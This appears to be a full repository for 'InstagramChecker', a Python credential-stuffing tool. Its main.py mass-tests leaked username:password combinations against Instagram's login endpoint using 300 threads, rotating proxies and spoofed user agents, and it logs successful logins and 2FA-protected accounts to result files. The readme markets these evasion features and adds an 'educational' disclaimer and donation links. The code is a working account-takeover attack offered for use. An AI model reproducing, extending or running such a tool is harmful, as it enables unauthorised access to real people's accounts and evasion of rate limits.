├── [Data] ├── [Results] │ ├── 2fa.txt │ └── hits.txt └── configs.json ├── requirements.txt ├── .gitattributes ├── readme.md ├── .gitignore └── main.py /[Data]/[Results]/2fa.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /[Data]/[Results]/hits.txt: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests==2.25.1 -------------------------------------------------------------------------------- /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /[Data]/configs.json: -------------------------------------------------------------------------------- 1 | { 2 | "use_proxy":1, 3 | "proxy_type":2, 4 | "threads":300 5 | } 6 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # InstagramChecker 2 | Simple tool which checks username/email password combinations. 3 | 4 | # Features 5 | - Useragent rotation.
6 | - Proxy / Proxyless mode.
7 | - Proxy support (https / socks4 / socks5).
8 | - Configurable in the configs.json.
9 | - Customizable thread amount.
10 | - 2FA Capture.
11 | - CPM Counter.
12 | 13 | # Installation 14 | Make sure you have python 3.8.7 or higher (or use the exe version at the releases tab on the right side).
15 | ``` 16 | pip3 install -r requirements.txt 17 | ``` 18 | 19 | # Configs.json 20 | - use_proxy (0 - Proxyless | 1 - Proxy).
21 | - proxy_type (1 - HTTPS | 2 - SOCKS4 | 3 - SOCKS5).
22 | - threads (Higher means faster performance, but more chance for inaccurate results).
23 | 24 | # Legal 25 | This was merely a speedrun to demonstrate how checkers work.
26 | This is illegal if you use this without the consent of the owners (in this case, the Instagram team).
27 | The software designed to perform website security testing.
28 | The author is not responsible for any illegal use of these programs.
29 | I am not accountable for anything you get into.
30 | I am not accountable for any of your actions.
31 | This is 100% educational, please do not misuse this tool. 32 | 33 | # Support 34 | - Paypal: onemanbuildsofficial@gmail.com
35 | - BTC: 13T3uYwtKYAQcbPzcb16MFPX9ZdNjBuoc4 36 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | pip-wheel-metadata/ 24 | share/python-wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | MANIFEST 29 | 30 | # PyInstaller 31 | # Usually these files are written by a python script from a template 32 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 33 | *.manifest 34 | *.spec 35 | 36 | # Installer logs 37 | pip-log.txt 38 | pip-delete-this-directory.txt 39 | 40 | # Unit test / coverage reports 41 | htmlcov/ 42 | .tox/ 43 | .nox/ 44 | .coverage 45 | .coverage.* 46 | .cache 47 | nosetests.xml 48 | coverage.xml 49 | *.cover 50 | *.py,cover 51 | .hypothesis/ 52 | .pytest_cache/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | target/ 76 | 77 | # Jupyter Notebook 78 | .ipynb_checkpoints 79 | 80 | # IPython 81 | profile_default/ 82 | ipython_config.py 83 | 84 | # pyenv 85 | .python-version 86 | 87 | # pipenv 88 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 89 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 90 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 91 | # install all needed dependencies. 92 | #Pipfile.lock 93 | 94 | # celery beat schedule file 95 | celerybeat-schedule 96 | 97 | # SageMath parsed files 98 | *.sage.py 99 | 100 | # Environments 101 | .env 102 | .venv 103 | env/ 104 | venv/ 105 | ENV/ 106 | env.bak/ 107 | venv.bak/ 108 | 109 | # Spyder project settings 110 | .spyderproject 111 | .spyproject 112 | 113 | # Rope project settings 114 | .ropeproject 115 | 116 | # mkdocs documentation 117 | /site 118 | 119 | # mypy 120 | .mypy_cache/ 121 | .dmypy.json 122 | dmypy.json 123 | 124 | # Pyre type checker 125 | .pyre/ 126 | InstagramChecker/proxies.txt 127 | InstagramChecker/InstagramChecker.exe 128 | InstagramChecker/hits.txt 129 | InstagramChecker/detailed_hits.txt 130 | InstagramChecker/combos.txt 131 | InstagramChecker/bads.txt 132 | InstagramChecker.zip 133 | output/main.exe 134 | bads.txt 135 | combos.txt 136 | proxies.txt 137 | bads.txt 138 | output/InstagramChecker.exe 139 | InstagramChecker_v1.zip 140 | InstagramChecker_v1_1.zip 141 | InstagramChecker/useragents.txt 142 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | from os import name,system 2 | from sys import stdout 3 | from random import choice 4 | from time import sleep 5 | from threading import Thread,Lock,active_count,Timer 6 | import json 7 | import requests 8 | 9 | colors = {'white': "\033[1;37m", 'green': "\033[0;32m", 'red': "\033[0;31m", 'yellow': "\033[1;33m"} 10 | version = 'v1.0.0' 11 | 12 | def clear(): 13 | if name == 'posix': 14 | system('clear') 15 | elif name in ('ce', 'nt', 'dos'): 16 | system('cls') 17 | else: 18 | print("\n") * 120 19 | 20 | def setTitle(title:str): 21 | if name == 'posix': 22 | stdout.write(f"\x1b]2;{title}\x07") 23 | elif name in ('ce', 'nt', 'dos'): 24 | system(f'title {title}') 25 | else: 26 | stdout.write(f"\x1b]2;{title}\x07") 27 | 28 | def printText(lock,bracket_color,text_in_bracket_color,text_in_bracket,text): 29 | lock.acquire() 30 | stdout.flush() 31 | text = text.encode('ascii','replace').decode() 32 | stdout.write(bracket_color+'['+text_in_bracket_color+text_in_bracket+bracket_color+'] '+bracket_color+text+'\n') 33 | lock.release() 34 | 35 | def readFile(filename,method): 36 | with open(filename,method,encoding='utf8') as f: 37 | content = [line.strip('\n') for line in f] 38 | return content 39 | 40 | def readJson(filename,method): 41 | with open(filename,method) as f: 42 | return json.load(f) 43 | 44 | def getRandomUserAgent(): 45 | useragents = readFile('[Data]/useragents.txt','r') 46 | return choice(useragents) 47 | 48 | def getRandomProxy(use_proxy,proxy_type): 49 | proxies_file = readFile('[Data]/proxies.txt','r') 50 | proxies = {} 51 | if use_proxy == 1: 52 | proxy = choice(proxies_file) 53 | if proxy_type == 1: 54 | proxies = { 55 | "http":"http://{0}".format(proxy), 56 | "https":"https://{0}".format(proxy) 57 | } 58 | elif proxy_type == 2: 59 | proxies = { 60 | "http":"socks4://{0}".format(proxy), 61 | "https":"socks4://{0}".format(proxy) 62 | } 63 | else: 64 | proxies = { 65 | "http":"socks5://{0}".format(proxy), 66 | "https":"socks5://{0}".format(proxy) 67 | } 68 | else: 69 | proxies = { 70 | "http":None, 71 | "https":None 72 | } 73 | return proxies 74 | 75 | 76 | class Main: 77 | def __init__(self): 78 | setTitle(f'[Instagram Checker Tool] ^| {version}') 79 | clear() 80 | self.title = colors['white'] + """ 81 | ╔═════════════════════════════════════════════════════════════════════╗ 82 | ╦╔╗╔╔═╗╔╦╗╔═╗╔═╗╦═╗╔═╗╔╦╗ 83 | ║║║║╚═╗ ║ ╠═╣║ ╦╠╦╝╠═╣║║║ 84 | ╩╝╚╝╚═╝ ╩ ╩ ╩╚═╝╩╚═╩ ╩╩ ╩ 85 | ╚═════════════════════════════════════════════════════════════════════╝ 86 | """ 87 | print(self.title) 88 | self.lock = Lock() 89 | self.hits = 0 90 | self.bads = 0 91 | self.twofa = 0 92 | self.retries = 0 93 | 94 | self.maxcpm = 0 95 | self.cpm = 0 96 | 97 | config = readJson('[Data]/configs.json','r') 98 | 99 | self.use_proxy = config['use_proxy'] 100 | self.proxy_type = config['proxy_type'] 101 | self.threads = config['threads'] 102 | 103 | self.session = requests.Session() 104 | 105 | def titleUpdate(self): 106 | while True: 107 | setTitle(f'[Instagram Checker Tool] ^| {version} ^| CPM: {self.cpm} ^| HITS: {self.hits} ^| BADS: {self.bads} ^| 2FA: {self.twofa} ^| RETRIES: {self.retries} ^| THREADS: {active_count() - 1}') 108 | sleep(0.1) 109 | 110 | def calculateCpm(self): 111 | self.cpm = self.maxcpm * 60 112 | self.maxcpm = 0 113 | Timer(1.0, self.calculateCpm).start() 114 | 115 | def worker(self,username,password): 116 | try: 117 | headers = { 118 | 'authority': 'www.instagram.com', 119 | 'x-ig-www-claim': 'hmac.AR08hbh0m_VdJjwWvyLFMaNo77YXgvW_0JtSSKgaLgDdUu9h', 120 | 'x-instagram-ajax': '82a581bb9399', 121 | 'content-type': 'application/x-www-form-urlencoded', 122 | 'accept': '*/*', 123 | 'user-agent': getRandomUserAgent(), 124 | 'x-requested-with': 'XMLHttpRequest', 125 | 'x-csrftoken': 'rn3aR7phKDodUHWdDfCGlERA7Gmhes8X', 126 | 'x-ig-app-id': '936619743392459', 127 | 'origin': 'https://www.instagram.com', 128 | 'sec-fetch-site': 'same-origin', 129 | 'sec-fetch-mode': 'cors', 130 | 'sec-fetch-dest': 'empty', 131 | 'referer': 'https://www.instagram.com/', 132 | 'accept-language': 'en-GB,en-US;q=0.9,en;q=0.8', 133 | 'cookie': '' 134 | } 135 | 136 | proxy = getRandomProxy(self.use_proxy,self.proxy_type) 137 | 138 | payload = f'username={username}&enc_password=%23PWD_INSTAGRAM_BROWSER%3A0%3A0%3A{password}&queryParams=%7B%7D&optIntoOneTap=false' 139 | 140 | response = self.session.post('https://www.instagram.com/accounts/login/ajax/',data=payload,headers=headers,proxies=proxy) 141 | if response.json()['status'] == 'ok' and response.json()['authenticated'] == False: 142 | self.bads += 1 143 | printText(self.lock,colors['white'],colors['red'],'BAD', f'{username}:{password}') 144 | with open('[Data]/[Results]/bads.txt','a',encoding='utf8') as f: 145 | f.write(f'{username}:{password}\n') 146 | elif 'feedback_required' in response.text: 147 | self.twofa += 1 148 | printText(self.lock,colors['white'],colors['yellow'],'2FA', f'{username}:{password}') 149 | with open('[Data]/[Results]/2fa.txt','a',encoding='utf8') as f: 150 | f.write(f'{username}:{password}\n') 151 | elif response.json()['authenticated'] == True: 152 | self.hits += 1 153 | printText(self.lock,colors['white'],colors['green'],'HIT', f'{username}:{password}') 154 | with open('[Data]/[Results]/hits.txt','a',encoding='utf8') as f: 155 | f.write(f'{username}:{password}\n') 156 | else: 157 | self.retries += 1 158 | self.worker(username,password) 159 | except Exception: 160 | self.retries += 1 161 | self.worker(username,password) 162 | else: 163 | self.maxcpm += 1 164 | 165 | def start(self): 166 | Thread(target=self.titleUpdate).start() 167 | self.calculateCpm() 168 | combos = readFile('[Data]/combos.txt','r') 169 | for combo in combos: 170 | run = True 171 | username = combo.split(':')[0] 172 | password = combo.split(':')[1] 173 | while run: 174 | if active_count() <= self.threads: 175 | Thread(target=self.worker,args=(username,password)).start() 176 | run = False 177 | 178 | if __name__ == '__main__': 179 | main = Main() 180 | main.start() --------------------------------------------------------------------------------